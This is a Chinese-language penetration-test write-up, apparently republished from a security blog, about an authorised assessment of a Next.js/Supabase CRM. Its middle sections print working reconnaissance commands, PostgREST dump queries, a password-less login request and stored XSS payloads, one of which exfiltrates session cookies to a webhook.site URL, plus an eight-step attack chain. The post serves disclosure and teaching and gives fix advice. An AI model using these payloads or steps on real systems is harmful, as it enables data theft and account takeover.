我对一个真实的CRM系统进行了渗透测试,发现了4个关键漏洞——以下是完整的攻击链

admin 2026-05-16 03:20:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了对真实Next.js/SupabaseCRM系统的渗透测试,发现未授权API访问、密钥泄露、明文密码及认证绕过等严重漏洞。攻击者无需凭证即可导出全量数据,且发现系统已被入侵。文章复盘了完整攻击链,提供了关于鉴权、加密与输入验证的紧急修复建议,警示基础安全配置缺失的巨大风险。 综合评分: 95 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验


cover_image

我对一个真实的CRM系统进行了渗透测试,发现了4个关键漏洞——以下是完整的攻击链

haidragon haidragon

安全狗的自我修养

2026年5月15日 12:23 中国香港

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

披露通知:本评估在组织首席执行官及高级领导层的明确书面授权下进行。所有敏感细节——包括目标域名、公司名称、Supabase项目标识符、API密钥、凭证、用户邮箱地址和个人数据——均被编辑或匿名处理。举报后未保留任何敏感信息。本文仅供教育用途。

背景

几周前,我的老师给我交了一个任务:“渗透测试我们的内部CRM平台。你拥有完全授权——除了DDoS。”

那是一个真正的现场制作系统。一个由Supabase/PostgreSQL支持的Next.js应用,供教师、支持人员和管理员管理学生、潜在客户、付款和内部沟通。真实的人。真实数据。

我原本以为大概会有一两个有趣的发现。但我发现的是一条完整、无阻碍的路径,从零知识到完整的数据库导出——从不需要用户名或密码。当我深入数据库时,我意识到我并不是第一个发现这个的人。

这就是那次评估的故事。

交战范围与规则

参数详情目标 内部CRM网页应用(生产环境) Stack Next.js(SSR)、Supabase/PostgreSQL、nginx 评估类型 黑箱网页应用 渗透测试授权 CEO + 高级讲师(书面) 排除 DDoS / 拒绝服务工具 Burp Suite Pro、Nmap、ffuf、feroxbuster、subfinder、whatweb、curl

第一阶段:侦察

我像往常一样开始——先被动侦查,然后主动计数。

# Port scan
nmap -sC -sV -oN nmap/target.txt <TARGET_IP>
# Subdomain enumeration
subfinder -d <TARGET_DOMAIN> -o subdomains.txt# Technology fingerprinting
whatweb https://<TARGET_DOMAIN>

Nmap结果:

22/tcp &nbsp;open &nbsp;ssh &nbsp; &nbsp; OpenSSH (Ubuntu)
80/tcp &nbsp;open &nbsp;http &nbsp; &nbsp;nginx/1.24.0 (Ubuntu) → redirect to HTTPS
443/tcp open &nbsp;https &nbsp; nginx/1.24.0

Whatweb和浏览器分析证实了:

  • 框架:

    Next.js(SSR)——构建ID在页面源码中可见

  • 服务器:

    Ubuntu Linux 上的 nginx/1.24.0

  • 认证界面:自定义登录表单/[locale]/login

没有什么能立刻被利用的。是时候深入挖掘了。

第二阶段:攻击面映射

目录与API端点发现

feroxbuster -u&nbsp;https://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
&nbsp; -x js,json,php -mc&nbsp;200,301,302,401,403,405

发现的有趣端点:

/api/health &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 200 OK
/api/tickets &nbsp; &nbsp; &nbsp; &nbsp; → 200 OK &nbsp; ←&nbsp;wait, what?
/api/search?q=* &nbsp; &nbsp; &nbsp;→ 200 OK
/api/dashboard &nbsp; &nbsp; &nbsp; → 200 OK
/api/broadcast &nbsp; &nbsp; &nbsp; → 421 Misdirected Request

我盯着看了一会儿。该端点从URL中看不到任何认证要求。我用Raw攻击它,没有任何会话cookie或代币:/api/tickets``curl

curl -s https://<TARGET>/api/tickets

回复立刻回来了:一整套JSON数组的工单记录。名字、描述、内部笔记。没有代币。没有会谈。什么都没有。

那时我就知道这将是一场严肃的订婚。

Next.js丛分析

Next.js将其路由和配置捆绑成静态JavaScript文件,提供给所有访客。我调出了建造清单:

/_next/static/<BUILD_ID>/_buildManifest.js

在这些捆绑包中,我发现了对多条内部路由、API 路径的引用,更重要的是,这些变量泄露到了客户端 JavaScript 中。其中之一是Supabase配置模块。

第三阶段:漏洞识别与利用

V-01 — 访问控制失效:未认证的API访问 [关键 |CVSS 9.8]

CWE-284 — 不当访问控制

多个API端点都返回了完整的JSON数据,完全没有任何认证。我用零资质测试了每一个:

# All of these returned HTTP 200 with full data — no token, no cookie, nothing
curl https://<TARGET>/api/tickets
curl https://<TARGET>/api/search?q=*
curl https://<TARGET>/api/dashboard
curl https://<TARGET>/api/health

该终端返回了汇总的业务指标——学生人数、收入汇总、潜在客户管道数据——所有数据均对公众开放。/api/dashboard

端点返回Node.js运行时版本和服务器运行时间。单独来说是小问题,但对有针对性的攻击者很有用。/api/health

影响:完全泄露所有申请数据的机密性,且未事先访问。

V-02 — 在客户端JavaScript中暴露的Supabase Anon API密钥 [关键 |CVSS 9.1]

CWE-522 — 资质保护不足

这发现打开了所有其他问题。

在分析Burp Suite截获的请求时,我注意到浏览器直接调用了一个子域名。请求中包含一个头部——而该密钥直接来自提供给任何访客的JavaScript捆绑包。*.supabase.co``apikey

Host:&nbsp;[REDACTED].supabase.co
apikey:&nbsp;[REDACTED — JWT token&nbsp;with&nbsp;role:&nbsp;"anon", expiry: year&nbsp;2091]
Authorization:&nbsp;Bearer [SAME REDACTED&nbsp;KEY]

钥匙的有效期为2091年。实际上是永久的。

Supabase 暴露了一个 PostgREST API——一个 HTTP 接口,可以直接映射到 PostgreSQL 表。有了这个密钥且没有启用行级安全(RLS)策略,我可以直接读取整个数据库。没有身份验证。没有特权升级。只是一个放在任何访客都能下载的JavaScript里的密钥。

# Direct Supabase PostgREST queries — all returned HTTP 200
GET /rest/v1/users?select=* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 38 user records (including plaintext passwords)
GET /rest/v1/leads?select=* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ 39 lead records (names, emails, phone numbers, deal values)
GET /rest/v1/payments?select=* &nbsp; &nbsp; &nbsp; &nbsp; → 31 payment and invoice records
GET /rest/v1/courses?select=* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Course catalog with pricing and instructor assignments
GET /rest/v1/instructor_notes?select=* → 29 private instructor notes
GET /rest/v1/chats?select=* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ Internal chat messages
GET /rest/v1/schedule_events?select=* &nbsp;→ 30 schedule entries
GET /rest/v1/automations?select=* &nbsp; &nbsp; &nbsp;→ Business automation rules and triggers

我刚刚把整个数据库从浏览器里导出了。

根本原因:Supabase 密钥嵌入在客户端的 JavaScript 捆绑中,所有 Supabase 表都禁用了行级安全——这意味着该角色对每个表都有不受限制的读取权限。anon``anon

影响:对所有用户数据、财务记录、个人身份信息、内部通信和业务逻辑进行完全且未经认证的窃取。

本应发生的事情:

  • 密钥绝不应出现在客户端代码中anon
  • 所有 Supabase 表都必须启用 RLS 策略
  • API 密钥必须仅存在于服务器端环境变量中,作为代理层

V-03 — 明文密码存储 [关键 |CVSS 9.0]

CWE-256 — 密码的明文存储

当我查询表格时,回复中包含了一个字段。不是哈希。不是bcrypt输出。每个账户的明文密码。users``password

{
"email":"[REDACTED]@[REDACTED].edu.az",
"role":"SUPER_ADMIN",
"password":"[REDACTED]"
}

38条用户记录。所有角色。所有密码。可见、可读、立即可用。

我这里不会详细说明具体资历——这些信息已经被报告,组织也已被通知。但具体细分包括SUPER_ADMIN、讲师、支持和学生角色——整个用户层级。

这一发现的连锁影响:由于密码是明文的,任何访问数据库(无论是通过V-02还是未来任何泄露)的人,都会立即拥有每个账户的有效凭证。没有裂开。没有GPU农场。直接复制粘贴。

此外,如果任何用户在外部服务——电子邮件、银行、其他平台——重复使用这些密码——这些密码也会被暴露。

本应发生的事情:

  • 密码必须在存储前使用bcrypt(费用≥12)、scrypt或Argon2id进行哈希
  • 该字段绝不能在任何API响应中返回——即使是给管理员也不行password
  • Supabase 认证(GoTrue)默认负责此处理;自定义认证流程绝不应存储明文

V-04 — 认证绕过:可选密码字段 [关键 |CVSS 9.8]

CWE-287 — 认证不当

这时我已经掌握了数据库中所有用户的邮箱。但我想测试一下我是否真的需要密码。

我登录了Burp Suite Repeater,捕获了一个正常的登录请求,并完全移除了该字段:password

POST /api/login HTTP/2
Host: [REDACTED]
Content-Type: application/json
{"email": "[REDACTED_ADMIN_EMAIL]"}

服务器接受了。

没有密码。没有错误。应用程序将请求处理为有效的认证尝试。

为什么会这样:登录处理器很可能通过电子邮件进行数据库查询,如果未提供密码,比较逻辑会返回或(假检查通过),而不是抛出验证错误。只要有一次服务器端检查缺失——本可以完全避免这种情况。true``null``if (!password) return 400

与V-01和V-02的联合撞击:攻击者可以枚举未认证API中的所有用户邮件,然后仅用邮箱地址绕过任何账户的认证。任何步骤都不需要知道密码。

本应发生的事情:

  • 在 API 处理程序层执行严格的模式验证(Zod 或 Joi)。
  • 在执行任何数据库查询之前,和 都必须同时存在、非空且非空email``password
  • 对于任何缺失的认证字段,返回带有通用错误信息的HTTP 400

V-05 — 存储跨站脚本:多端点 [高频 |CVSS 8.2]

CWE-79 — 网页生成过程中输入的中和不当

在阅读数据库导出文件时,我注意到 and 表格中有些异常。有些记录的数值看起来明显不标准:instructor_notes``tickets

tickets.title: ">&nbsp;<script>alert('XSS')</script>
tickets.title:&nbsp;<imgsrc=xonerror="alert('XSS_SUCCESS_DASHBOARD')">
leads.full_name: <script>fetch('https://webhook.site/[REDACTED]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;?sessiya=' + btoa(document.cookie))</script>instructor_notes.author: <details open ontoggle=alert(1)> Administrator
instructor_notes.content: <img src=x onerror="alert('Sizin sessiyanız oğurlandı: '
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ document.cookie)">chats.content: "> <script>alert('XSS')</script>

存储XSS有效载荷——跨四张不同的表格。而webhook有效载荷则主动向外部服务器发送base64编码的cookie数据。leads.full_name

我确认了应用程序渲染这些字段时没有进行净化。任何经过认证的用户查看导览、工单或讲师笔记部分时,都会在其浏览器中执行这些脚本。

“通过 to 的外泄有效载荷”意味着攻击者在潜在客户记录中植入该负载时,会等待管理员打开潜在客户页面——并自动接收其会话令牌。document.cookie``fetch()``webhook.site

本应发生的事情:

  • 所有用户输入必须在数据库写入前在服务器端进行净化
  • 输出必须在渲染时编码——React 默认的 JSX 转义阻止了这一点,但绕过了它dangerouslySetInnerHTML
  • 严格的内容安全策略(CSP)头部阻止内联脚本并限制目的地fetch()
  • 必须从数据库中清除现有的有效载荷记录

V-06 — CORS 配置错误:万用卡起源 [高频 |CVSS 7.5]

CWE-942 — 宽容跨原产资源共享政策

每个API端点的OPTIONS预检响应返回:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization

万用符意味着互联网上的任何网站都可以向这些端点发送JavaScript发起的交叉来源请求并阅读完整响应。Access-Control-Allow-Origin

结合V-01(未认证的API访问),这意味着恶意网站可以悄无声息地从任何访客浏览器中收集所有CRM数据——用户只需访问页面即可。

本应发生的事情:

  • 用显式原点允许表替换*
  • 限制允许的方法只限于每个端点实际需要的
  • 使用Next.js中间件来执行 CORS 而不是仅依赖 nginx 头部

V-07 — 业务逻辑缺陷:负支付金额 [中等 |CVSS 6.5]

CWE-840 — 业务逻辑错误

在付款表中,我发现了负的货币价值记录:

student:&nbsp;[REDACTED]&nbsp;|amount:-99999|invoice:INV-TEST-99999|status:paid
student:&nbsp;[REDACTED]&nbsp;|amount:-3000|invoice:HACK-999-001|status:paid

发票ID尤其引人注目——它表明这并非意外录入。HACK-999-001

API在没有任何服务器端验证的情况下接受了这些数值。如果应用程序将负金额处理为退款或抵扣,攻击者可能会操纵财务记录或腐败报告。

本应发生的事情:

  • 服务器端验证拒绝任何支付金额≤0
  • 数据库级约束:在支付表上CHECK (amount > 0)
  • 异常记录的调查与清理

V-08 — 信息披露:堆栈与模式细节 [LOW |CVSS 4.3]

CWE-200 — 敏感信息的暴露

多个端点泄露了技术实现细节:

GET /api/health
# Returns: {"status":"healthy","node_version":"v24.15.0","uptime":1.019}
GET /rest/v1/instructors
# Returns: PGRST205 hint: 'Perhaps you meant public.instructor_notes'GET /rest/v1/schedules
# Returns: PGRST205 hint: 'Perhaps you meant public.schedule_events'

PostgREST 错误提示本质上是一个免费的模式枚举工具——当你猜错时,它们会显示准确的数据库表名。Next.js Build ID 也嵌入在每个页面响应中,实现了精确的版本关联。

单独看严重性较低,但对针对目标攻击者来说,结合较高严重性发现提供了有用的背景。

令人不安的发现:先前利用的证据

整个评估中最令人不安的时刻,是仔细阅读数据库时。

存储在生产记录——工单、付款——中,有明显不属于应用合法数据的有效载荷:

  • PostgreSQL RCE 尝试:语法存储在工单记录中,暗示至少有一个外部行为者尝试通过数据库执行服务器端命令COPY FROM PROGRAM

  • Go 模板注入负载:——存储在另一张工单中,用于探测服务器端模板注入{{range .}}{{end}}{{template "exploit" .}}

  • XSS负载主动向 webhook.site 发送数据

    ——确认至少有一个外部方已经植入了泄露脚本并接收会话Cookie

  • 支付表中的Burp Suite Collaborator(oastify.com)OAST负载——表明外部第三方正在进行带外测试

这不是理论上的攻击面。有人已经发现了这些漏洞,并且正在积极利用它们。

完整攻击链

以下是完整的杀戮链——从零知识到彻底系统被攻破——共八个步骤:

[Attacker — No credentials, no prior knowledge]
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[1] Passive recon → identify Next.js + Supabase stack from JS bundles
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[2] feroxbuster → discover /api/tickets, /api/search, /api/dashboard
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[3] curl /api/tickets (no auth) → 200 OK → V-01 confirmed
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[4] Burp Suite intercept → extract Supabase URL + anon key from headers
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[5] GET /rest/v1/users?select=* → 38&nbsp;users, plaintext passwords, all roles
&nbsp; &nbsp; GET /rest/v1/leads?select=* &nbsp;→ 39 lead records with PII
&nbsp; &nbsp; GET /rest/v1/payments?select=* → 31 payment records
&nbsp; &nbsp; ... (complete database dump — V-02, V-03)
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[6] POST /api/login {"email":&nbsp;"[ANY_ADMIN_EMAIL]"} (no password) → auth bypass
&nbsp; &nbsp; → SUPER_ADMIN session obtained — V-04
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[7] Authenticated access → inject XSS payload&nbsp;in&nbsp;leads/tickets/notes
&nbsp; &nbsp; → Any admin&nbsp;who&nbsp;views the record executes the payload
&nbsp; &nbsp; → Session cookie exfiltrated to attacker webhook — V-05
&nbsp; &nbsp; &nbsp; &nbsp; │
&nbsp; &nbsp; &nbsp; &nbsp; ▼
[8] Full account takeover — all SUPER_ADMIN, INSTRUCTOR, SUPPORT accounts
&nbsp; &nbsp; accessible. All data readable, modifiable, deletable.
TOTAL TIME FROM ZERO TO FULL COMPROMISE: < 30 minutes

修复路线图(摘要)

  1. 立即 — V-02 — 轮换 Supabase 匿名密钥;启用所有表的 RLS — 24 小时 2.立即 — V-03 — 哈希所有密码(bcrypt/Argon2id);强制重置密码 — 24 小时 3.紧急 — V-01 — 为所有 /api/* 路由添加认证中间件 — 72 小时 4.紧急 — V-04 — 强制强制服务器端密码字段验证 — 72 小时 5.紧急 — V-05 — 净化所有输入;实现 CSP;清除 XSS 负载 — 1 周 6。高 — V-06 — 用明确的起源允许列表替换万用 CORS — 1 周 7。中 — V-07 — 验证 API 和数据库层面的 0 > 数量 — 2 周 8。低 — V-08 — 限制 /api/health;抑制冗长错误信息 — 1 月

开发者要点

这里发现的漏洞并非奇特或理论上的。它们是现代网页应用开发中最常见且可预防的错误之一。

1. 绝不要在客户端 JavaScript 中放置秘密。JavaScript 捆包中的 Supabase 匿名密钥是每个访问者都会获得的密钥。把你的前端代码当作完全公开的。所有 API 密钥都属于服务器端环境变量,通过服务器端路由代理。

2. Supabase RLS 不是可选的。Supabase 的行级安全性之所以存在,正是因为 PostgREST API 设计成可以从客户端调用。没有 RLS 策略时,你的密钥可以读取每个表中的每一行。启用 RLS。添加显式策略。默认拒绝。anon

3. 验证服务器上的认证输入。切勿相信请求体包含应有内容。如果缺少,立即返回400。在任何数据库查询运行前,使用Zod或Joi在API处理层强制执行输入模式。password

4. 绝不要存储明文密码。这在2026年应该是不言而喻的,但事实就是如此。使用bcrypt、scrypt或Argon2id。绝不要比较明文。绝不要在任何API响应中返回密码字段——即使是给已认证的管理员。

5. 净化所有输入,编码所有输出。如果用户提供的数据在浏览器中渲染,必须在存储前进行净化,并在渲染时编码。React 默认的 JSX 转义有帮助——但前提是你不绕过它。dangerouslySetInnerHTML

6. 监控您自己的数据库是否有入侵迹象。生产数据中存在PostgreSQL的RCE尝试、模板注入负载以及活跃的Cookie窃取XSS脚本,是先前被利用的强烈指标。定期的数据库审计和异常检测本可以更早发现这些问题。

负责任披露时间表

日期 行动 2026年4月25日 评估已获得全面授权 2026年4月25日 完整技术报告提交给MilliSec领导层 2026年4月25日 组织收到需立即采取的关键发现通知 2026年5月 内部审查和编辑后发布报告

总结

这是我做过的最让人眼界开阔的评估之一。这并非因为技术复杂——这些漏洞都不需要高级利用。最难的是写带有卷发的GET请求。

令人警醒的是,其他行为者已经走上了同样的道路。数据库中有PostgreSQL的RCE尝试、活跃的XSS数据泄露和Burp Collaborator回调的痕迹——这些都是比我先发现这些内容的人留下的,可能在悄悄窃取数据。

好消息是:这些漏洞每一个都是可以修复的。大多数人都是几个小时内完成的。V-04的补丁实际上就是一句话。V-02 的补丁是将字符串从文件移动到文件。修复这些问题的门槛很低。不修复它们的成本就是一切。if``.js``.env.local

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《我对一个真实的CRM系统进行了渗透测试,发现了4个关键漏洞——以下是完整的攻击链》

评论:0   参与:  0